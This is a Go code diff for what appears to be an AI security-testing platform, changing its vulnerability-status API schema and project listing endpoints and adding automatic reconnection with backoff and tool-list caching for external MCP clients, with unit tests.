if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||
}
|
||||
|
||||
@@ -237,7 +237,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "状态",
|
||||
"enum": []string{"open", "closed", "fixed"},
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||
},
|
||||
"target": map[string]interface{}{
|
||||
"type": "string",
|
||||
@@ -575,7 +575,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "状态",
|
||||
"enum": []string{"open", "closed", "fixed"},
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
|
||||
},
|
||||
"type": map[string]interface{}{
|
||||
"type": "string",
|
||||
@@ -1344,7 +1344,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
|
||||
"delete": map[string]interface{}{
|
||||
"tags": []string{"对话管理"},
|
||||
"summary": "删除对话",
|
||||
"description": "删除指定的对话及其所有相关数据(消息、漏洞等)。**此操作不可恢复**。",
|
||||
"description": "删除指定的对话及其会话数据(消息、攻击链等)。**漏洞记录会保留**,仅解除与会话的关联。**此操作不可恢复**。",
|
||||
"operationId": "deleteConversation",
|
||||
"parameters": []map[string]interface{}{
|
||||
{
|
||||
|
||||
+41
-41
@@ -61,12 +61,40 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
|
||||
c.JSON(http.StatusOK, created)
|
||||
}
|
||||
|
||||
// GetDashboardSummary GET /api/projects/dashboard-summary
|
||||
func (h *ProjectHandler) GetDashboardSummary(c *gin.Context) {
|
||||
limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("fact_limit", "5")))
|
||||
if limit <= 0 {
|
||||
limit = 5
|
||||
}
|
||||
if limit > 50 {
|
||||
limit = 50
|
||||
}
|
||||
summary, err := h.db.GetProjectDashboardSummary(limit)
|
||||
if err != nil {
|
||||
h.logger.Error("获取项目仪表盘摘要失败", zap.Error(err))
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if summary.RecentFacts == nil {
|
||||
summary.RecentFacts = []database.ProjectDashboardFact{}
|
||||
}
|
||||
c.JSON(http.StatusOK, summary)
|
||||
}
|
||||
|
||||
// ListProjects GET /api/projects
|
||||
func (h *ProjectHandler) ListProjects(c *gin.Context) {
|
||||
status := c.Query("status")
|
||||
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "200"))
|
||||
search := c.Query("search")
|
||||
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "50"))
|
||||
offset, _ := strconv.Atoi(c.Query("offset"))
|
||||
list, err := h.db.ListProjects(status, limit, offset)
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 500 {
|
||||
limit = 500
|
||||
}
|
||||
list, err := h.db.ListProjects(status, search, limit, offset)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
@@ -74,7 +102,17 @@ func (h *ProjectHandler) ListProjects(c *gin.Context) {
|
||||
if list == nil {
|
||||
list = []*database.Project{}
|
||||
}
|
||||
c.JSON(http.StatusOK, list)
|
||||
total, err := h.db.CountProjects(status, search)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"projects": list,
|
||||
"total": total,
|
||||
"limit": limit,
|
||||
"offset": offset,
|
||||
})
|
||||
}
|
||||
|
||||
// GetProjectStats GET /api/projects/:id/stats
|
||||
@@ -240,44 +278,6 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
|
||||
c.JSON(http.StatusOK, list)
|
||||
}
|
||||
|
||||
// GetFactPreviousVersion GET /api/projects/:id/facts/:factId/previous-version
|
||||
func (h *ProjectHandler) GetFactPreviousVersion(c *gin.Context) {
|
||||
existing, err := h.db.GetProjectFact(c.Param("factId"))
|
||||
if err != nil || existing.ProjectID != c.Param("id") {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(existing.SupersedesFactID) == "" {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "无上一版本"})
|
||||
return
|
||||
}
|
||||
v, err := h.db.GetProjectFactVersion(existing.SupersedesFactID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
c.JSON(http.StatusOK, v)
|
||||
}
|
||||
|
||||
// ListFactVersions GET /api/projects/:id/facts/:factId/versions
|
||||
func (h *ProjectHandler) ListFactVersions(c *gin.Context) {
|
||||
existing, err := h.db.GetProjectFact(c.Param("factId"))
|
||||
if err != nil || existing.ProjectID != c.Param("id") {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
|
||||
return
|
||||
}
|
||||
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
|
||||
list, err := h.db.ListProjectFactVersions(existing.ID, limit)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if list == nil {
|
||||
list = []*database.ProjectFactVersion{}
|
||||
}
|
||||
c.JSON(http.StatusOK, list)
|
||||
}
|
||||
|
||||
// CreateFact POST /api/projects/:id/facts
|
||||
func (h *ProjectHandler) CreateFact(c *gin.Context) {
|
||||
var req upsertFactRequest
|
||||
|
||||
@@ -314,7 +314,7 @@ func (h *RobotHandler) resolveProjectByIDOrName(idOrName string) (*database.Proj
|
||||
if p, err := h.db.GetProject(idOrName); err == nil {
|
||||
return p, ""
|
||||
}
|
||||
list, err := h.db.ListProjects("", 200, 0)
|
||||
list, err := h.db.ListProjects("", "", 200, 0)
|
||||
if err != nil {
|
||||
return nil, "查询项目失败: " + err.Error()
|
||||
}
|
||||
@@ -353,7 +353,7 @@ func (h *RobotHandler) cmdProjects() string {
|
||||
if !h.projectsEnabled() {
|
||||
return "项目功能未启用(config.project.enabled)。"
|
||||
}
|
||||
list, err := h.db.ListProjects("", 50, 0)
|
||||
list, err := h.db.ListProjects("", "", 50, 0)
|
||||
if err != nil {
|
||||
return "获取项目列表失败: " + err.Error()
|
||||
}
|
||||
|
||||
@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// markDisconnected 在检测到传输层断连时关闭底层 session,避免 IsConnected 仍返回 true。
|
||||
func (c *lazySDKClient) markDisconnected() {
|
||||
c.mu.Lock()
|
||||
inner := c.inner
|
||||
sessionCancel := c.sessionCancel
|
||||
c.inner = nil
|
||||
c.sessionCancel = nil
|
||||
c.mu.Unlock()
|
||||
if sessionCancel != nil {
|
||||
sessionCancel()
|
||||
}
|
||||
if inner != nil {
|
||||
_ = inner.Close()
|
||||
}
|
||||
c.setStatus("disconnected")
|
||||
}
|
||||
|
||||
func (c *sdkClient) setStatus(s string) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
// externalReconnectMinInterval 两次自动重连之间的最短间隔
|
||||
externalReconnectMinInterval = 30 * time.Second
|
||||
// externalReconnectMaxBackoff 指数退避上限
|
||||
externalReconnectMaxBackoff = 5 * time.Minute
|
||||
)
|
||||
|
||||
// isConnectionDeadError 判断错误是否表示底层传输已断开(而非调用方主动取消或超时)。
|
||||
func isConnectionDeadError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, io.EOF) {
|
||||
return true
|
||||
}
|
||||
s := strings.ToLower(err.Error())
|
||||
return strings.Contains(s, "eof") ||
|
||||
strings.Contains(s, "client is closing") ||
|
||||
strings.Contains(s, "connection closed") ||
|
||||
strings.Contains(s, "connection reset") ||
|
||||
strings.Contains(s, "broken pipe")
|
||||
}
|
||||
|
||||
// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时,标记客户端并调度重连。
|
||||
func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
|
||||
if !isConnectionDeadError(err) {
|
||||
return
|
||||
}
|
||||
m.logger.Warn("检测到外部MCP连接已断开,将尝试自动重连",
|
||||
zap.String("name", name),
|
||||
zap.Error(err),
|
||||
)
|
||||
m.markClientDisconnected(name, client, err)
|
||||
m.scheduleReconnect(name)
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
|
||||
if lazy, ok := client.(*lazySDKClient); ok {
|
||||
lazy.markDisconnected()
|
||||
}
|
||||
m.mu.Lock()
|
||||
if err != nil {
|
||||
m.errors[name] = "连接已断开: " + err.Error()
|
||||
}
|
||||
m.mu.Unlock()
|
||||
m.toolCountsMu.Lock()
|
||||
m.toolCounts[name] = 0
|
||||
m.toolCountsMu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) onClientConnected(name string) {
|
||||
m.clearReconnectState(name)
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) clearReconnectState(name string) {
|
||||
m.reconnectMu.Lock()
|
||||
delete(m.reconnectAttempts, name)
|
||||
delete(m.reconnectLastTry, name)
|
||||
delete(m.reconnecting, name)
|
||||
m.reconnectMu.Unlock()
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
|
||||
if attempts <= 0 {
|
||||
return 0
|
||||
}
|
||||
d := externalReconnectMinInterval
|
||||
for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
|
||||
d *= 2
|
||||
}
|
||||
if d > externalReconnectMaxBackoff {
|
||||
return externalReconnectMaxBackoff
|
||||
}
|
||||
return d
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) scheduleReconnect(name string) {
|
||||
m.mu.RLock()
|
||||
cfg, exists := m.configs[name]
|
||||
enabled := exists && m.isEnabled(cfg)
|
||||
m.mu.RUnlock()
|
||||
if !enabled {
|
||||
return
|
||||
}
|
||||
go m.tryReconnect(name)
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) tryReconnect(name string) {
|
||||
m.reconnectMu.Lock()
|
||||
if m.reconnecting[name] {
|
||||
m.reconnectMu.Unlock()
|
||||
return
|
||||
}
|
||||
attempts := m.reconnectAttempts[name]
|
||||
if wait := m.reconnectBackoff(attempts); wait > 0 {
|
||||
if last, ok := m.reconnectLastTry[name]; ok {
|
||||
if elapsed := time.Since(last); elapsed < wait {
|
||||
remaining := wait - elapsed
|
||||
m.reconnectMu.Unlock()
|
||||
m.scheduleReconnectAfter(name, remaining)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
m.reconnecting[name] = true
|
||||
m.reconnectMu.Unlock()
|
||||
|
||||
defer func() {
|
||||
m.reconnectMu.Lock()
|
||||
delete(m.reconnecting, name)
|
||||
m.reconnectMu.Unlock()
|
||||
}()
|
||||
|
||||
m.mu.RLock()
|
||||
cfg, exists := m.configs[name]
|
||||
enabled := exists && m.isEnabled(cfg)
|
||||
client, hasClient := m.clients[name]
|
||||
connecting := hasClient && client.GetStatus() == "connecting"
|
||||
m.mu.RUnlock()
|
||||
|
||||
if !enabled {
|
||||
m.logger.Debug("跳过自动重连(外部MCP已停用)", zap.String("name", name))
|
||||
return
|
||||
}
|
||||
if connecting {
|
||||
m.logger.Debug("跳过自动重连(连接正在进行中)", zap.String("name", name))
|
||||
return
|
||||
}
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
m.reconnectLastTry[name] = time.Now()
|
||||
m.reconnectAttempts[name] = attempts + 1
|
||||
attemptNum := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
|
||||
m.logger.Info("正在自动重连外部MCP",
|
||||
zap.String("name", name),
|
||||
zap.Int("attempt", attemptNum),
|
||||
)
|
||||
|
||||
if err := m.startClient(name, true); err != nil {
|
||||
m.logger.Warn("自动重连外部MCP失败",
|
||||
zap.String("name", name),
|
||||
zap.Error(err),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// scheduleReconnectAfterFailure 在自动重连失败后,按当前退避间隔预约下一次重试。
|
||||
func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
|
||||
m.mu.RLock()
|
||||
cfg, exists := m.configs[name]
|
||||
enabled := exists && m.isEnabled(cfg)
|
||||
m.mu.RUnlock()
|
||||
if !enabled {
|
||||
return
|
||||
}
|
||||
m.reconnectMu.Lock()
|
||||
wait := m.reconnectBackoff(m.reconnectAttempts[name])
|
||||
m.reconnectMu.Unlock()
|
||||
m.logger.Info("自动重连失败,将按退避间隔再次尝试",
|
||||
zap.String("name", name),
|
||||
zap.Duration("after", wait),
|
||||
)
|
||||
m.scheduleReconnectAfter(name, wait)
|
||||
}
|
||||
|
||||
// scheduleReconnectAfter 在 delay 后触发 tryReconnect(delay<=0 时立即执行)。
|
||||
func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
|
||||
if delay <= 0 {
|
||||
go m.tryReconnect(name)
|
||||
return
|
||||
}
|
||||
time.AfterFunc(delay, func() {
|
||||
m.tryReconnect(name)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,215 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestIsConnectionDeadError(t *testing.T) {
|
||||
t.Parallel()
|
||||
cases := []struct {
|
||||
name string
|
||||
err error
|
||||
want bool
|
||||
}{
|
||||
{"nil", nil, false},
|
||||
{"eof", io.EOF, true},
|
||||
{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
|
||||
{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
|
||||
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
|
||||
{"canceled", context.Canceled, false},
|
||||
{"deadline", context.DeadlineExceeded, false},
|
||||
{"other", errors.New("invalid params"), false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
tc := tc
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
if got := isConnectionDeadError(tc.err); got != tc.want {
|
||||
t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLazySDKClient_MarkDisconnected(t *testing.T) {
|
||||
c := &lazySDKClient{status: "connected"}
|
||||
c.inner = &sdkClient{status: "connected"}
|
||||
c.markDisconnected()
|
||||
if c.IsConnected() {
|
||||
t.Fatal("expected disconnected after markDisconnected")
|
||||
}
|
||||
if c.GetStatus() != "disconnected" {
|
||||
t.Fatalf("expected status disconnected, got %s", c.GetStatus())
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "dead-mcp"
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.configs[name] = cfg
|
||||
client := newLazySDKClient(cfg, logger)
|
||||
client.inner = &sdkClient{status: "connected"}
|
||||
client.status = "connected"
|
||||
m.clients[name] = client
|
||||
m.mu.Unlock()
|
||||
|
||||
deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
|
||||
m.handleConnectionDead(name, client, deadErr)
|
||||
|
||||
if client.IsConnected() {
|
||||
t.Fatal("expected disconnected after handleConnectionDead")
|
||||
}
|
||||
if m.GetError(name) == "" {
|
||||
t.Fatal("expected error message to be recorded")
|
||||
}
|
||||
counts := m.GetToolCounts()
|
||||
if counts[name] != 0 {
|
||||
t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
|
||||
}
|
||||
}
|
||||
|
||||
func TestReconnectBackoff(t *testing.T) {
|
||||
t.Parallel()
|
||||
if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
|
||||
t.Fatalf("attempt 0: got %v", d)
|
||||
}
|
||||
if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
|
||||
t.Fatalf("attempt 1: got %v", d)
|
||||
}
|
||||
if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
|
||||
t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryReconnect_RateLimited(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "rate-limited"
|
||||
m.reconnectMu.Lock()
|
||||
m.reconnectLastTry[name] = time.Now()
|
||||
m.reconnectAttempts[name] = 2
|
||||
m.reconnectMu.Unlock()
|
||||
|
||||
m.tryReconnect(name)
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
attempts := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
if attempts != 2 {
|
||||
t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "disabled-mcp"
|
||||
m.mu.Lock()
|
||||
m.configs[name] = config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: false,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
m.tryReconnect(name)
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
attempts := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
if attempts != 0 {
|
||||
t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
|
||||
name := "connecting-mcp"
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
}
|
||||
client := newLazySDKClient(cfg, logger)
|
||||
client.setStatus("connecting")
|
||||
|
||||
m.mu.Lock()
|
||||
m.configs[name] = cfg
|
||||
m.clients[name] = client
|
||||
m.mu.Unlock()
|
||||
|
||||
m.tryReconnect(name)
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
attempts := m.reconnectAttempts[name]
|
||||
m.reconnectMu.Unlock()
|
||||
if attempts != 0 {
|
||||
t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
m := NewExternalMCPManager(logger)
|
||||
m.stopRefresh = make(chan struct{})
|
||||
|
||||
name := "stopped"
|
||||
m.mu.Lock()
|
||||
m.configs[name] = config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://example.com/mcp",
|
||||
ExternalMCPEnable: false,
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if err := m.startClient(name, true); err != nil {
|
||||
t.Fatalf("startClient: %v", err)
|
||||
}
|
||||
|
||||
m.mu.RLock()
|
||||
cfg := m.configs[name]
|
||||
_, hasClient := m.clients[name]
|
||||
m.mu.RUnlock()
|
||||
if cfg.ExternalMCPEnable {
|
||||
t.Fatal("auto reconnect should not enable stopped MCP")
|
||||
}
|
||||
if hasClient {
|
||||
t.Fatal("auto reconnect should not create client when disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
|
||||
m := &ExternalMCPManager{
|
||||
reconnectAttempts: map[string]int{"x": 3},
|
||||
reconnectLastTry: map[string]time.Time{"x": time.Now()},
|
||||
reconnecting: map[string]bool{"x": true},
|
||||
}
|
||||
m.onClientConnected("x")
|
||||
|
||||
m.reconnectMu.Lock()
|
||||
defer m.reconnectMu.Unlock()
|
||||
if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
|
||||
t.Fatal("expected reconnect state cleared")
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,26 @@ import (
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
const (
|
||||
// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期,避免每次 API 请求都打远程 ListTools。
|
||||
externalToolListCacheTTL = 60 * time.Second
|
||||
// externalToolCountRefreshInterval 后台刷新工具数量的间隔(仅刷新缓存过期或缺失的客户端)。
|
||||
externalToolCountRefreshInterval = 60 * time.Second
|
||||
)
|
||||
|
||||
// toolListCacheEntry 外部 MCP 工具列表缓存条目
|
||||
type toolListCacheEntry struct {
|
||||
tools []Tool
|
||||
updatedAt time.Time
|
||||
}
|
||||
|
||||
// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
|
||||
type listToolsInflight struct {
|
||||
done chan struct{}
|
||||
tools []Tool
|
||||
err error
|
||||
}
|
||||
|
||||
// ExternalMCPManager 外部MCP管理器
|
||||
type ExternalMCPManager struct {
|
||||
clients map[string]ExternalMCPClient
|
||||
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
|
||||
errors map[string]string // 错误信息
|
||||
toolCounts map[string]int // 工具数量缓存
|
||||
toolCountsMu sync.RWMutex // 工具数量缓存的锁
|
||||
toolCache map[string][]Tool // 工具列表缓存:MCP名称 -> 工具列表
|
||||
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
|
||||
toolCacheMu sync.RWMutex // 工具列表缓存的锁
|
||||
listToolsMu sync.Mutex
|
||||
listToolsInflight map[string]*listToolsInflight
|
||||
stopRefresh chan struct{} // 停止后台刷新的信号
|
||||
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
|
||||
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
|
||||
mu sync.RWMutex
|
||||
runningCancels map[string]context.CancelFunc
|
||||
abortUserNotes map[string]string
|
||||
runningCancels map[string]context.CancelFunc
|
||||
abortUserNotes map[string]string
|
||||
reconnectMu sync.Mutex
|
||||
reconnecting map[string]bool
|
||||
reconnectLastTry map[string]time.Time
|
||||
reconnectAttempts map[string]int
|
||||
}
|
||||
|
||||
// NewExternalMCPManager 创建外部MCP管理器
|
||||
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
|
||||
executions: make(map[string]*ToolExecution),
|
||||
stats: make(map[string]*ToolStats),
|
||||
errors: make(map[string]string),
|
||||
toolCounts: make(map[string]int),
|
||||
toolCache: make(map[string][]Tool),
|
||||
stopRefresh: make(chan struct{}),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
toolCounts: make(map[string]int),
|
||||
toolCache: make(map[string]toolListCacheEntry),
|
||||
listToolsInflight: make(map[string]*listToolsInflight),
|
||||
stopRefresh: make(chan struct{}),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
reconnecting: make(map[string]bool),
|
||||
reconnectLastTry: make(map[string]time.Time),
|
||||
reconnectAttempts: make(map[string]int),
|
||||
}
|
||||
// 启动后台刷新工具数量的goroutine
|
||||
manager.startToolCountRefresh()
|
||||
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
||||
}
|
||||
|
||||
delete(m.configs, name)
|
||||
m.clearReconnectState(name)
|
||||
|
||||
// 清理工具数量缓存
|
||||
m.toolCountsMu.Lock()
|
||||
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartClient 启动客户端
|
||||
// StartClient 启动客户端(用户手动启动;连接失败不自动重试)
|
||||
func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
return m.startClient(name, false)
|
||||
}
|
||||
|
||||
// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈:尊重停用状态,失败后按退避继续重试。
|
||||
func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
|
||||
m.mu.Lock()
|
||||
serverCfg, exists := m.configs[name]
|
||||
m.mu.Unlock()
|
||||
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
return fmt.Errorf("配置不存在: %s", name)
|
||||
}
|
||||
|
||||
if autoReconnect && !m.isEnabled(serverCfg) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否已经有连接的客户端
|
||||
m.mu.RLock()
|
||||
existingClient, hasClient := m.clients[name]
|
||||
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
// 检查客户端是否已连接
|
||||
if existingClient.IsConnected() {
|
||||
// 客户端已连接,直接返回成功(目标状态已达成)
|
||||
// 更新配置为启用(确保配置一致)
|
||||
m.mu.Lock()
|
||||
serverCfg.ExternalMCPEnable = true
|
||||
m.configs[name] = serverCfg
|
||||
m.mu.Unlock()
|
||||
if !autoReconnect {
|
||||
m.mu.Lock()
|
||||
serverCfg.ExternalMCPEnable = true
|
||||
m.configs[name] = serverCfg
|
||||
m.mu.Unlock()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
// 如果有客户端但未连接,先关闭
|
||||
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
if autoReconnect {
|
||||
m.mu.RLock()
|
||||
serverCfg, exists = m.configs[name]
|
||||
enabled := exists && m.isEnabled(serverCfg)
|
||||
m.mu.RUnlock()
|
||||
if !enabled {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 更新配置为启用
|
||||
m.mu.Lock()
|
||||
serverCfg.ExternalMCPEnable = true
|
||||
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
m.mu.Unlock()
|
||||
|
||||
// 在后台异步进行实际连接
|
||||
go func() {
|
||||
go func(reconnect bool) {
|
||||
if err := m.doConnect(name, serverCfg, client); err != nil {
|
||||
m.logger.Error("连接外部MCP客户端失败",
|
||||
zap.String("name", name),
|
||||
zap.Bool("auto_reconnect", reconnect),
|
||||
zap.Error(err),
|
||||
)
|
||||
// 连接失败,设置状态为error并保存错误信息
|
||||
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
|
||||
m.mu.Unlock()
|
||||
// 触发工具数量刷新(连接失败,工具数量应为0)
|
||||
m.triggerToolCountRefresh()
|
||||
if reconnect {
|
||||
m.scheduleReconnectAfterFailure(name)
|
||||
}
|
||||
} else {
|
||||
// 连接成功,清除错误信息
|
||||
m.mu.Lock()
|
||||
delete(m.errors, name)
|
||||
m.mu.Unlock()
|
||||
// 立即刷新工具数量和工具列表缓存
|
||||
m.triggerToolCountRefresh()
|
||||
m.refreshToolCache(name, client)
|
||||
// 2 秒后再刷新一次,覆盖 SSE/Streamable 等需稍等就绪的远端
|
||||
go func() {
|
||||
time.Sleep(2 * time.Second)
|
||||
m.triggerToolCountRefresh()
|
||||
m.refreshToolCache(name, client)
|
||||
}()
|
||||
m.onClientConnected(name)
|
||||
// 异步拉取工具列表(singleflight 去重,结果同时写入 toolCache 与 toolCounts)
|
||||
go m.refreshToolCache(name, client)
|
||||
}
|
||||
}()
|
||||
}(autoReconnect)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
|
||||
m.toolCounts[name] = 0
|
||||
m.toolCountsMu.Unlock()
|
||||
|
||||
m.toolCacheMu.Lock()
|
||||
delete(m.toolCache, name)
|
||||
m.toolCacheMu.Unlock()
|
||||
|
||||
// 更新配置为禁用
|
||||
serverCfg.ExternalMCPEnable = false
|
||||
m.configs[name] = serverCfg
|
||||
|
||||
m.clearReconnectState(name)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
|
||||
return nil, fmt.Errorf("外部MCP连接失败: %s", name)
|
||||
}
|
||||
|
||||
// 已连接:尝试获取最新工具列表
|
||||
// 已连接:缓存优先,仅在缺失或过期时打远程 ListTools
|
||||
if client.IsConnected() {
|
||||
tools, err := client.ListTools(ctx)
|
||||
if tools, ok := m.getFreshCachedTools(name); ok {
|
||||
return tools, nil
|
||||
}
|
||||
if tools, ok := m.getAnyCachedTools(name); ok {
|
||||
m.triggerToolListRefresh(name, client)
|
||||
return tools, nil
|
||||
}
|
||||
tools, err := m.listToolsDeduped(ctx, name, client)
|
||||
if err != nil {
|
||||
